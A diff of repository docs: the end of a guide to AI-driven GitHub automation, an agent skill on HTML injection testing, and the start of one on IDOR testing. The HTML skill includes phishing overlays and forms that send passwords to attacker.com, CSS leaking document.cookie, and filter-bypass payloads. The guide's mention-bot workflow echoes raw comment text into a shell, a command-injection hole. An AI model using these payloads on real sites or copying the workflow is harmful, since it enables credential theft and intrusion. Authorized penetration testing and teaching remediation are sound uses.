+To help us investigate, could you please provide:
+- Steps to reproduce the issue
+- Expected behavior
+- Actual behavior
+- Environment (OS, version, etc.)
+
+This will help us resolve your issue faster. 🙏`
+              });
+            }
+```
+
+### 2.2 Issue Analysis Prompt
+
+```typescript
+const TRIAGE_PROMPT = `
+Analyze this GitHub issue and classify it:
+
+Title: {title}
+Body: {body}
+
+Return JSON with:
+{
+  "type": "bug" | "feature" | "question" | "docs" | "other",
+  "severity": "low" | "medium" | "high" | "critical",
+  "area": "frontend" | "backend" | "api" | "docs" | "ci" | "other",
+  "summary": "one-line summary",
+  "hasReproSteps": boolean,
+  "isFirstContribution": boolean,
+  "suggestedLabels": ["label1", "label2"],
+  "suggestedAssignees": ["username"] // based on area expertise
+}
+`;
+```
+
+### 2.3 Stale Issue Management
+
+```yaml
+# .github/workflows/stale.yml
+name: Manage Stale Issues
+
+on:
+  schedule:
+    - cron: "0 0 * * *" # Daily
+
+jobs:
+  stale:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/stale@v9
+        with:
+          stale-issue-message: |
+            This issue has been automatically marked as stale because it has not had 
+            recent activity. It will be closed in 14 days if no further activity occurs.
+
+            If this issue is still relevant:
+            - Add a comment with an update
+            - Remove the `stale` label
+
+            Thank you for your contributions! 🙏
+
+          stale-pr-message: |
+            This PR has been automatically marked as stale. Please update it or it 
+            will be closed in 14 days.
+
+          days-before-stale: 60
+          days-before-close: 14
+          stale-issue-label: "stale"
+          stale-pr-label: "stale"
+          exempt-issue-labels: "pinned,security,in-progress"
+          exempt-pr-labels: "pinned,security"
+```
+
+---
+
+## 3. CI/CD Integration
+
+### 3.1 Smart Test Selection
+
+```yaml
+# .github/workflows/smart-tests.yml
+name: Smart Test Selection
+
+on:
+  pull_request:
+
+jobs:
+  analyze:
+    runs-on: ubuntu-latest
+    outputs:
+      test_suites: ${{ steps.analyze.outputs.suites }}
+
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Analyze changes
+        id: analyze
+        run: |
+          # Get changed files
+          changed=$(git diff --name-only origin/${{ github.base_ref }}...HEAD)
+
+          # Determine which test suites to run
+          suites="[]"
+
+          if echo "$changed" | grep -q "^src/api/"; then
+            suites=$(echo $suites | jq '. + ["api"]')
+          fi
+
+          if echo "$changed" | grep -q "^src/frontend/"; then
+            suites=$(echo $suites | jq '. + ["frontend"]')
+          fi
+
+          if echo "$changed" | grep -q "^src/database/"; then
+            suites=$(echo $suites | jq '. + ["database", "api"]')
+          fi
+
+          # If nothing specific, run all
+          if [ "$suites" = "[]" ]; then
+            suites='["all"]'
+          fi
+
+          echo "suites=$suites" >> $GITHUB_OUTPUT
+
+  test:
+    needs: analyze
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        suite: ${{ fromJson(needs.analyze.outputs.test_suites) }}
+
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Run tests
+        run: |
+          if [ "${{ matrix.suite }}" = "all" ]; then
+            npm test
+          else
+            npm test -- --suite ${{ matrix.suite }}
+          fi
+```
+
+### 3.2 Deployment with AI Validation
+
+```yaml
+# .github/workflows/deploy.yml
+name: Deploy with AI Validation
+
+on:
+  push:
+    branches: [main]
+
+jobs:
+  validate:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Get deployment changes
+        id: changes
+        run: |
+          # Get commits since last deployment
+          last_deploy=$(git describe --tags --abbrev=0 2>/dev/null || echo "")
+          if [ -n "$last_deploy" ]; then
+            changes=$(git log --oneline $last_deploy..HEAD)
+          else
+            changes=$(git log --oneline -10)
+          fi
+          echo "changes<<EOF" >> $GITHUB_OUTPUT
+          echo "$changes" >> $GITHUB_OUTPUT
+          echo "EOF" >> $GITHUB_OUTPUT
+
+      - name: AI Risk Assessment
+        id: assess
+        uses: actions/github-script@v7
+        with:
+          script: |
+            // Analyze changes for deployment risk
+            const prompt = `
+            Analyze these changes for deployment risk:
+
+            ${process.env.CHANGES}
+
+            Return JSON:
+            {
+              "riskLevel": "low" | "medium" | "high",
+              "concerns": ["concern1", "concern2"],
+              "recommendations": ["rec1", "rec2"],
+              "requiresManualApproval": boolean
+            }
+            `;
+
+            // Call AI and parse response
+            const analysis = await callAI(prompt);
+
+            if (analysis.riskLevel === 'high') {
+              core.setFailed('High-risk deployment detected. Manual review required.');
+            }
+
+            return analysis;
+        env:
+          CHANGES: ${{ steps.changes.outputs.changes }}
+
+  deploy:
+    needs: validate
+    runs-on: ubuntu-latest
+    environment: production
+    steps:
+      - name: Deploy
+        run: |
+          echo "Deploying to production..."
+          # Deployment commands here
+```
+
+### 3.3 Rollback Automation
+
+```yaml
+# .github/workflows/rollback.yml
+name: Automated Rollback
+
+on:
+  workflow_dispatch:
+    inputs:
+      reason:
+        description: "Reason for rollback"
+        required: true
+
+jobs:
+  rollback:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Find last stable version
+        id: stable
+        run: |
+          # Find last successful deployment
+          stable=$(git tag -l 'v*' --sort=-version:refname | head -1)
+          echo "version=$stable" >> $GITHUB_OUTPUT
+
+      - name: Rollback
+        run: |
+          git checkout ${{ steps.stable.outputs.version }}
+          # Deploy stable version
+          npm run deploy
+
+      - name: Notify team
+        uses: slackapi/slack-github-action@v1
+        with:
+          payload: |
+            {
+              "text": "🔄 Production rolled back to ${{ steps.stable.outputs.version }}",
+              "blocks": [
+                {
+                  "type": "section",
+                  "text": {
+                    "type": "mrkdwn",
+                    "text": "*Rollback executed*\n• Version: `${{ steps.stable.outputs.version }}`\n• Reason: ${{ inputs.reason }}\n• Triggered by: ${{ github.actor }}"
+                  }
+                }
+              ]
+            }
+```
+
+---
+
+## 4. Git Operations
+
+### 4.1 Automated Rebasing
+
+```yaml
+# .github/workflows/auto-rebase.yml
+name: Auto Rebase
+
+on:
+  issue_comment:
+    types: [created]
+
+jobs:
+  rebase:
+    if: github.event.issue.pull_request && contains(github.event.comment.body, '/rebase')
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+          token: ${{ secrets.GITHUB_TOKEN }}
+
+      - name: Setup Git
+        run: |
+          git config user.name "github-actions[bot]"
+          git config user.email "github-actions[bot]@users.noreply.github.com"
+
+      - name: Rebase PR
+        run: |
+          # Fetch PR branch
+          gh pr checkout ${{ github.event.issue.number }}
+
+          # Rebase onto main
+          git fetch origin main
+          git rebase origin/main
+
+          # Force push
+          git push --force-with-lease
+        env:
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+
+      - name: Comment result
+        uses: actions/github-script@v7
+        with:
+          script: |
+            github.rest.issues.createComment({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              issue_number: context.issue.number,
+              body: '✅ Successfully rebased onto main!'
+            })
+```
+
+### 4.2 Smart Cherry-Pick
+
+```typescript
+// AI-assisted cherry-pick that handles conflicts
+async function smartCherryPick(commitHash: string, targetBranch: string) {
+  // Get commit info
+  const commitInfo = await exec(`git show ${commitHash} --stat`);
+
+  // Check for potential conflicts
+  const targetDiff = await exec(
+    `git diff ${targetBranch}...HEAD -- ${affectedFiles}`
+  );
+
+  // AI analysis
+  const analysis = await ai.analyze(`
+    I need to cherry-pick this commit to ${targetBranch}:
+    
+    ${commitInfo}
+    
+    Current state of affected files on ${targetBranch}:
+    ${targetDiff}
+    
+    Will there be conflicts? If so, suggest resolution strategy.
+  `);
+
+  if (analysis.willConflict) {
+    // Create branch for manual resolution
+    await exec(
+      `git checkout -b cherry-pick-${commitHash.slice(0, 7)} ${targetBranch}`
+    );
+    const result = await exec(`git cherry-pick ${commitHash}`, {
+      allowFail: true,
+    });
+
+    if (result.failed) {
+      // AI-assisted conflict resolution
+      const conflicts = await getConflicts();
+      for (const conflict of conflicts) {
+        const resolution = await ai.resolveConflict(conflict);
+        await applyResolution(conflict.file, resolution);
+      }
+    }
+  } else {
+    await exec(`git checkout ${targetBranch}`);
+    await exec(`git cherry-pick ${commitHash}`);
+  }
+}
+```
+
+### 4.3 Branch Cleanup
+
+```yaml
+# .github/workflows/branch-cleanup.yml
+name: Branch Cleanup
+
+on:
+  schedule:
+    - cron: '0 0 * * 0'  # Weekly
+  workflow_dispatch:
+
+jobs:
+  cleanup:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Find stale branches
+        id: stale
+        run: |
+          # Branches not updated in 30 days
+          stale=$(git for-each-ref --sort=-committerdate refs/remotes/origin \
+            --format='%(refname:short) %(committerdate:relative)' | \
+            grep -E '[3-9][0-9]+ days|[0-9]+ months|[0-9]+ years' | \
+            grep -v 'origin/main\|origin/develop' | \
+            cut -d' ' -f1 | sed 's|origin/||')
+
+          echo "branches<<EOF" >> $GITHUB_OUTPUT
+          echo "$stale" >> $GITHUB_OUTPUT
+          echo "EOF" >> $GITHUB_OUTPUT
+
+      - name: Create cleanup PR
+        if: steps.stale.outputs.branches != ''
+        uses: actions/github-script@v7
+        with:
+          script: |
+            const branches = `${{ steps.stale.outputs.branches }}`.split('\n').filter(Boolean);
+
+            const body = `## 🧹 Stale Branch Cleanup
+
+The following branches haven't been updated in over 30 days:
+
+${branches.map(b => `- \`${b}\``).join('\n')}
+
+### Actions:
+- [ ] Review each branch
+- [ ] Delete branches that are no longer needed
+- Comment \`/keep branch-name\` to preserve specific branches
+`;
+
+            await github.rest.issues.create({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              title: 'Stale Branch Cleanup',
+              body: body,
+              labels: ['housekeeping']
+            });
+```
+
+---
+
+## 5. On-Demand Assistance
+
+### 5.1 @mention Bot
+
+```yaml
+# .github/workflows/mention-bot.yml
+name: AI Mention Bot
+
+on:
+  issue_comment:
+    types: [created]
+  pull_request_review_comment:
+    types: [created]
+
+jobs:
+  respond:
+    if: contains(github.event.comment.body, '@ai-helper')
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Extract question
+        id: question
+        run: |
+          # Extract text after @ai-helper
+          question=$(echo "${{ github.event.comment.body }}" | sed 's/.*@ai-helper//')
+          echo "question=$question" >> $GITHUB_OUTPUT
+
+      - name: Get context
+        id: context
+        run: |
+          if [ "${{ github.event.issue.pull_request }}" != "" ]; then
+            # It's a PR - get diff
+            gh pr diff ${{ github.event.issue.number }} > context.txt
+          else
+            # It's an issue - get description
+            gh issue view ${{ github.event.issue.number }} --json body -q .body > context.txt
+          fi
+          echo "context=$(cat context.txt)" >> $GITHUB_OUTPUT
+        env:
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+
+      - name: AI Response
+        uses: actions/github-script@v7
+        with:
+          script: |
+            const response = await ai.chat(`
+              Context: ${process.env.CONTEXT}
+              
+              Question: ${process.env.QUESTION}
+              
+              Provide a helpful, specific answer. Include code examples if relevant.
+            `);
+
+            await github.rest.issues.createComment({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              issue_number: context.issue.number,
+              body: response
+            });
+        env:
+          CONTEXT: ${{ steps.context.outputs.context }}
+          QUESTION: ${{ steps.question.outputs.question }}
+```
+
+### 5.2 Command Patterns
+
+```markdown
+## Available Commands
+
+| Command              | Description                 |
+| :------------------- | :-------------------------- |
+| `@ai-helper explain` | Explain the code in this PR |
+| `@ai-helper review`  | Request AI code review      |
+| `@ai-helper fix`     | Suggest fixes for issues    |
+| `@ai-helper test`    | Generate test cases         |
+| `@ai-helper docs`    | Generate documentation      |
+| `/rebase`            | Rebase PR onto main         |
+| `/update`            | Update PR branch from main  |
+| `/approve`           | Mark as approved by bot     |
+| `/label bug`         | Add 'bug' label             |
+| `/assign @user`      | Assign to user              |
+```
+
+---
+
+## 6. Repository Configuration
+
+### 6.1 CODEOWNERS
+
+```
+# .github/CODEOWNERS
+
+# Global owners
+* @org/core-team
+
+# Frontend
+/src/frontend/ @org/frontend-team
+*.tsx @org/frontend-team
+*.css @org/frontend-team
+
+# Backend
+/src/api/ @org/backend-team
+/src/database/ @org/backend-team
+
+# Infrastructure
+/.github/ @org/devops-team
+/terraform/ @org/devops-team
+Dockerfile @org/devops-team
+
+# Docs
+/docs/ @org/docs-team
+*.md @org/docs-team
+
+# Security-sensitive
+/src/auth/ @org/security-team
+/src/crypto/ @org/security-team
+```
+
+### 6.2 Branch Protection
+
+```yaml
+# Set up via GitHub API
+- name: Configure branch protection
+  uses: actions/github-script@v7
+  with:
+    script: |
+      await github.rest.repos.updateBranchProtection({
+        owner: context.repo.owner,
+        repo: context.repo.repo,
+        branch: 'main',
+        required_status_checks: {
+          strict: true,
+          contexts: ['test', 'lint', 'ai-review']
+        },
+        enforce_admins: true,
+        required_pull_request_reviews: {
+          required_approving_review_count: 1,
+          require_code_owner_reviews: true,
+          dismiss_stale_reviews: true
+        },
+        restrictions: null,
+        required_linear_history: true,
+        allow_force_pushes: false,
+        allow_deletions: false
+      });
+```
+
+---
+
+## Best Practices
+
+### Security
+
+- [ ] Store API keys in GitHub Secrets
+- [ ] Use minimal permissions in workflows
+- [ ] Validate all inputs
+- [ ] Don't expose sensitive data in logs
+
+### Performance
+
+- [ ] Cache dependencies
+- [ ] Use matrix builds for parallel testing
+- [ ] Skip unnecessary jobs with path filters
+- [ ] Use self-hosted runners for heavy workloads
+
+### Reliability
+
+- [ ] Add timeouts to jobs
+- [ ] Handle rate limits gracefully
+- [ ] Implement retry logic
+- [ ] Have rollback procedures
+
+---
+
+## Resources
+
+- [Gemini CLI GitHub Action](https://github.com/google-github-actions/run-gemini-cli)
+- [GitHub Actions Documentation](https://docs.github.com/en/actions)
+- [GitHub REST API](https://docs.github.com/en/rest)
+- [CODEOWNERS Syntax](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)

skills/html-injection-testing/SKILL.md

@@ -0,0 +1,495 @@
+---
+name: HTML Injection Testing
+description: This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
+---
+
+# HTML Injection Testing
+
+## Purpose
+
+Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
+
+## Prerequisites
+
+### Required Tools
+- Web browser with developer tools
+- Burp Suite or OWASP ZAP
+- Tamper Data or similar proxy
+- cURL for testing payloads
+
+### Required Knowledge
+- HTML fundamentals
+- HTTP request/response structure
+- Web application input handling
+- Difference between HTML injection and XSS
+
+## Outputs and Deliverables
+
+1. **Vulnerability Report** - Identified injection points
+2. **Exploitation Proof** - Demonstrated content manipulation
+3. **Impact Assessment** - Potential phishing and defacement risks
+4. **Remediation Guidance** - Input validation recommendations
+
+## Core Workflow
+
+### Phase 1: Understanding HTML Injection
+
+HTML injection occurs when user input is reflected in web pages without proper sanitization:
+
+```html
+<!-- Vulnerable code example -->
+<div>
+    Welcome, <?php echo $_GET['name']; ?>
+</div>
+
+<!-- Attack input -->
+?name=<h1>Injected Content</h1>
+
+<!-- Rendered output -->
+<div>
+    Welcome, <h1>Injected Content</h1>
+</div>
+```
+
+Key differences from XSS:
+- HTML injection: Only HTML tags are rendered
+- XSS: JavaScript code is executed
+- HTML injection is often stepping stone to XSS
+
+Attack goals:
+- Modify website appearance (defacement)
+- Create fake login forms (phishing)
+- Inject malicious links
+- Display misleading content
+
+### Phase 2: Identifying Injection Points
+
+Map application for potential injection surfaces:
+
+```
+1. Search bars and search results
+2. Comment sections
+3. User profile fields
+4. Contact forms and feedback
+5. Registration forms
+6. URL parameters reflected on page
+7. Error messages
+8. Page titles and headers
+9. Hidden form fields
+10. Cookie values reflected on page
+```
+
+Common vulnerable parameters:
+```
+?name=
+?user=
+?search=
+?query=
+?message=
+?title=
+?content=
+?redirect=
+?url=
+?page=
+```
+
+### Phase 3: Basic HTML Injection Testing
+
+Test with simple HTML tags:
+
+```html
+<!-- Basic text formatting -->
+<h1>Test Injection</h1>
+<b>Bold Text</b>
+<i>Italic Text</i>
+<u>Underlined Text</u>
+<font color="red">Red Text</font>
+
+<!-- Structural elements -->
+<div style="background:red;color:white;padding:10px">Injected DIV</div>
+<p>Injected paragraph</p>
+<br><br><br>Line breaks
+
+<!-- Links -->
+<a href="http://attacker.com">Click Here</a>
+<a href="http://attacker.com">Legitimate Link</a>
+
+<!-- Images -->
+<img src="http://attacker.com/image.png">
+<img src="x" onerror="alert(1)">  <!-- XSS attempt -->
+```
+
+Testing workflow:
+```bash
+# Test basic injection
+curl "http://target.com/search?q=<h1>Test</h1>"
+
+# Check if HTML renders in response
+curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
+
+# Test in URL-encoded form
+curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
+```
+
+### Phase 4: Types of HTML Injection
+
+#### Stored HTML Injection
+
+Payload persists in database:
+
+```html
+<!-- Profile bio injection -->
+Name: John Doe
+Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
+     <h1>Site Under Maintenance</h1>
+     <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
+     </div>
+
+<!-- Comment injection -->
+Great article!
+<form action="http://attacker.com/steal" method="POST">
+    <input name="username" placeholder="Session expired. Enter username:">
+    <input name="password" type="password" placeholder="Password:">
+    <input type="submit" value="Login">
+</form>
+```
+
+#### Reflected GET Injection
+
+Payload in URL parameters:
+
+```html
+<!-- URL injection -->
+http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
+
+<!-- Search result injection -->
+http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
+```
+
+#### Reflected POST Injection
+
+Payload in POST data:
+
+```bash
+# POST injection test
+curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
+     http://target.com/submit
+
+# Form field injection
+curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
+     http://target.com/register
+```
+
+#### URL-Based Injection
+
+Inject into displayed URLs:
+
+```html
+<!-- If URL is displayed on page -->
+http://target.com/page/<h1>Injected</h1>
+
+<!-- Path-based injection -->
+http://target.com/users/<img src=x>/profile
+```
+
+### Phase 5: Phishing Attack Construction
+
+Create convincing phishing forms:
+
+```html
+<!-- Fake login form overlay -->
+<div style="position:fixed;top:0;left:0;width:100%;height:100%;
+            background:white;z-index:9999;padding:50px;">
+    <h2>Session Expired</h2>
+    <p>Your session has expired. Please log in again.</p>
+    <form action="http://attacker.com/capture" method="POST">
+        <label>Username:</label><br>
+        <input type="text" name="username" style="width:200px;"><br><br>
+        <label>Password:</label><br>
+        <input type="password" name="password" style="width:200px;"><br><br>
+        <input type="submit" value="Login">
+    </form>
+</div>
+
+<!-- Hidden credential stealer -->
+<style>
+    input { background: url('http://attacker.com/log?data=') }
+</style>
+<form action="http://attacker.com/steal" method="POST">
+    <input name="user" placeholder="Verify your username">
+    <input name="pass" type="password" placeholder="Verify your password">
+    <button>Verify</button>
+</form>
+```
+
+URL-encoded phishing link:
+```
+http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E
+```
+
+### Phase 6: Defacement Payloads
+
+Website appearance manipulation:
+
+```html
+<!-- Full page overlay -->
+<div style="position:fixed;top:0;left:0;width:100%;height:100%;
+            background:#000;color:#0f0;z-index:9999;
+            display:flex;justify-content:center;align-items:center;">
+    <h1>HACKED BY SECURITY TESTER</h1>
+</div>
+
+<!-- Content replacement -->
+<style>body{display:none}</style>
+<body style="display:block !important">
+    <h1>This site has been compromised</h1>
+</body>
+
+<!-- Image injection -->
+<img src="http://attacker.com/defaced.jpg" 
+     style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">
+
+<!-- Marquee injection (visible movement) -->
+<marquee behavior="alternate" style="font-size:50px;color:red;">
+    SECURITY VULNERABILITY DETECTED
+</marquee>
+```
+
+### Phase 7: Advanced Injection Techniques
+
+#### CSS Injection
+
+```html
+<!-- Style injection -->
+<style>
+    body { background: url('http://attacker.com/track?cookie='+document.cookie) }
+    .content { display: none }
+    .fake-content { display: block }
+</style>
+
+<!-- Inline style injection -->
+<div style="background:url('http://attacker.com/log')">Content</div>
+```
+
+#### Meta Tag Injection
+
+```html
+<!-- Redirect via meta refresh -->
+<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
+
+<!-- CSP bypass attempt -->
+<meta http-equiv="Content-Security-Policy" content="default-src *">
+```
+
+#### Form Action Override
+
+```html
+<!-- Hijack existing form -->
+<form action="http://attacker.com/steal">
+
+<!-- If form already exists, add input -->
+<input type="hidden" name="extra" value="data">
+</form>
+```
+
+#### iframe Injection
+
+```html
+<!-- Embed external content -->
+<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
+
+<!-- Invisible tracking iframe -->
+<iframe src="http://attacker.com/track" style="display:none"></iframe>
+```
+
+### Phase 8: Bypass Techniques
+
+Evade basic filters:
+
+```html
+<!-- Case variations -->
+<H1>Test</H1>
+<ScRiPt>alert(1)</ScRiPt>
+
+<!-- Encoding variations -->
+&#60;h1&#62;Encoded&#60;/h1&#62;
+%3Ch1%3EURL%20Encoded%3C%2Fh1%3E
+
+<!-- Tag splitting -->
+<h
+1>Split Tag</h1>
+
+<!-- Null bytes -->
+<h1%00>Null Byte</h1>
+
+<!-- Double encoding -->
+%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E
+
+<!-- Unicode encoding -->
+\u003ch1\u003eUnicode\u003c/h1\u003e
+
+<!-- Attribute-based -->
+<div onmouseover="alert(1)">Hover me</div>
+<img src=x onerror=alert(1)>
+```
+
+### Phase 9: Automated Testing
+
+#### Using Burp Suite
+
+```
+1. Capture request with potential injection point
+2. Send to Intruder
+3. Mark parameter value as payload position
+4. Load HTML injection wordlist
+5. Start attack
+6. Filter responses for rendered HTML
+7. Manually verify successful injections
+```
+
+#### Using OWASP ZAP
+
+```
+1. Spider the target application
+2. Active Scan with HTML injection rules
+3. Review Alerts for injection findings
+4. Validate findings manually
+```
+
+#### Custom Fuzzing Script
+
+```python
+#!/usr/bin/env python3
+import requests
+import urllib.parse
+
+target = "http://target.com/search"
+param = "q"
+
+payloads = [
+    "<h1>Test</h1>",
+    "<b>Bold</b>",
+    "<script>alert(1)</script>",
+    "<img src=x onerror=alert(1)>",
+    "<a href='http://evil.com'>Click</a>",
+    "<div style='color:red'>Styled</div>",
+    "<marquee>Moving</marquee>",
+    "<iframe src='http://evil.com'></iframe>",
+]
+
+for payload in payloads:
+    encoded = urllib.parse.quote(payload)
+    url = f"{target}?{param}={encoded}"
+    
+    try:
+        response = requests.get(url, timeout=5)
+        if payload.lower() in response.text.lower():
+            print(f"[+] Possible injection: {payload}")
+        elif "<h1>" in response.text or "<b>" in response.text:
+            print(f"[?] Partial reflection: {payload}")
+    except Exception as e:
+        print(f"[-] Error: {e}")
+```
+
+### Phase 10: Prevention and Remediation
+
+Secure coding practices:
+
+```php
+// PHP: Escape output
+echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
+
+// PHP: Strip tags
+echo strip_tags($user_input);
+
+// PHP: Allow specific tags only
+echo strip_tags($user_input, '<p><b><i>');
+```
+
+```python
+# Python: HTML escape
+from html import escape
+safe_output = escape(user_input)
+
+# Python Flask: Auto-escaping
+{{ user_input }}  # Jinja2 escapes by default
+{{ user_input | safe }}  # Marks as safe (dangerous!)
+```
+
+```javascript
+// JavaScript: Text content (safe)
+element.textContent = userInput;
+
+// JavaScript: innerHTML (dangerous!)
+element.innerHTML = userInput;  // Vulnerable!
+
+// JavaScript: Sanitize
+const clean = DOMPurify.sanitize(userInput);
+element.innerHTML = clean;
+```
+
+Server-side protections:
+- Input validation (whitelist allowed characters)
+- Output encoding (context-aware escaping)
+- Content Security Policy (CSP) headers
+- Web Application Firewall (WAF) rules
+
+## Quick Reference
+
+### Common Test Payloads
+
+| Payload | Purpose |
+|---------|---------|
+| `<h1>Test</h1>` | Basic rendering test |
+| `<b>Bold</b>` | Simple formatting |
+| `<a href="evil.com">Link</a>` | Link injection |
+| `<img src=x>` | Image tag test |
+| `<div style="color:red">` | Style injection |
+| `<form action="evil.com">` | Form hijacking |
+
+### Injection Contexts
+
+| Context | Test Approach |
+|---------|---------------|
+| URL parameter | `?param=<h1>test</h1>` |
+| Form field | POST with HTML payload |
+| Cookie value | Inject via document.cookie |
+| HTTP header | Inject in Referer/User-Agent |
+| File upload | HTML file with malicious content |
+
+### Encoding Types
+
+| Type | Example |
+|------|---------|
+| URL encoding | `%3Ch1%3E` = `<h1>` |
+| HTML entities | `&#60;h1&#62;` = `<h1>` |
+| Double encoding | `%253C` = `<` |
+| Unicode | `\u003c` = `<` |
+
+## Constraints and Limitations
+
+### Attack Limitations
+- Modern browsers may sanitize some injections
+- CSP can prevent inline styles and scripts
+- WAFs may block common payloads
+- Some applications escape output properly
+
+### Testing Considerations
+- Distinguish between HTML injection and XSS
+- Verify visual impact in browser
+- Test in multiple browsers
+- Check for stored vs reflected
+
+### Severity Assessment
+- Lower severity than XSS (no script execution)
+- Higher impact when combined with phishing
+- Consider defacement/reputation damage
+- Evaluate credential theft potential
+
+## Troubleshooting
+
+| Issue | Solutions |
+|-------|-----------|
+| HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context |
+| Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags |
+| XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects |

skills/idor-testing/SKILL.md

@@ -0,0 +1,439 @@
+---
+name: IDOR Vulnerability Testing
+description: This skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enumerate user IDs or object references," or "bypass authorization to access other users' data." It provides comprehensive guidance for detecting, exploiting, and remediating IDOR vulnerabilities in web applications.
+---
+
+# IDOR Vulnerability Testing
+
+## Purpose
+
+Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. This skill covers both database object references and static file references, detection techniques using parameter manipulation and enumeration, exploitation via Burp Suite, and remediation strategies for securing applications against unauthorized access.
+
+## Inputs / Prerequisites
+
+- **Target Web Application**: URL of application with user-specific resources
+- **Multiple User Accounts**: At least two test accounts to verify cross-user access
+- **Burp Suite or Proxy Tool**: Intercepting proxy for request manipulation
+- **Authorization**: Written permission for security testing
+- **Understanding of Application Flow**: Knowledge of how objects are referenced (IDs, filenames)
+
+## Outputs / Deliverables
+
+- **IDOR Vulnerability Report**: Documentation of discovered access control bypasses
+- **Proof of Concept**: Evidence of unauthorized data access across user contexts
+- **Affected Endpoints**: List of vulnerable API endpoints and parameters
+- **Impact Assessment**: Classification of data exposure severity
+- **Remediation Recommendations**: Specific fixes for identified vulnerabilities
+
+## Core Workflow
+
+### 1. Understand IDOR Vulnerability Types
+
+#### Direct Reference to Database Objects
+Occurs when applications reference database records via user-controllable parameters:
+```
+# Original URL (authenticated as User A)
+example.com/user/profile?id=2023
+
+# Manipulation attempt (accessing User B's data)
+example.com/user/profile?id=2022
+```
+
+#### Direct Reference to Static Files
+Occurs when applications expose file paths or names that can be enumerated:
+```
+# Original URL (User A's receipt)
+example.com/static/receipt/205.pdf
+
+# Manipulation attempt (User B's receipt)
+example.com/static/receipt/200.pdf
+```
+
+### 2. Reconnaissance and Setup
+
+#### Create Multiple Test Accounts
+```
+Account 1: "attacker" - Primary testing account
+Account 2: "victim" - Account whose data we attempt to access
+```
+
+#### Identify Object References
+Capture and analyze requests containing:
+- Numeric IDs in URLs: `/api/user/123`
+- Numeric IDs in parameters: `?id=123&action=view`
+- Numeric IDs in request body: `{"userId": 123}`
+- File paths: `/download/receipt_123.pdf`
+- GUIDs/UUIDs: `/profile/a1b2c3d4-e5f6-...`
+
+#### Map User IDs
+```
+# Access user ID endpoint (if available)
+GET /api/user-id/
+
+# Note ID patterns:
+# - Sequential integers (1, 2, 3...)
+# - Auto-incremented values
+# - Predictable patterns
+```
+
+### 3. Detection Techniques
+
+#### URL Parameter Manipulation
+```
+# Step 1: Capture original authenticated request
+GET /api/user/profile?id=1001 HTTP/1.1
+Cookie: session=attacker_session
+
+# Step 2: Modify ID to target another user
+GET /api/user/profile?id=1000 HTTP/1.1
+Cookie: session=attacker_session
+
+# Vulnerable if: Returns victim's data with attacker's session
+```
+
+#### Request Body Manipulation
+```
+# Original POST request
+POST /api/address/update HTTP/1.1
+Content-Type: application/json
+Cookie: session=attacker_session
+
+{"id": 5, "userId": 1001, "address": "123 Attacker St"}
+
+# Modified request targeting victim
+{"id": 5, "userId": 1000, "address": "123 Attacker St"}
+```
+
+#### HTTP Method Switching
+```
+# Original GET request may be protected
+GET /api/admin/users/1000 → 403 Forbidden
+
+# Try alternative methods
+POST /api/admin/users/1000 → 200 OK (Vulnerable!)
+PUT /api/admin/users/1000 → 200 OK (Vulnerable!)
+```
+
+### 4. Exploitation with Burp Suite
+
+#### Manual Exploitation
+```
+1. Configure browser proxy through Burp Suite
+2. Login as "attacker" user
+3. Navigate to profile/data page
+4. Enable Intercept in Proxy tab
+5. Capture request with user ID
+6. Modify ID to victim's ID
+7. Forward request
+8. Observe response for victim's data
+```
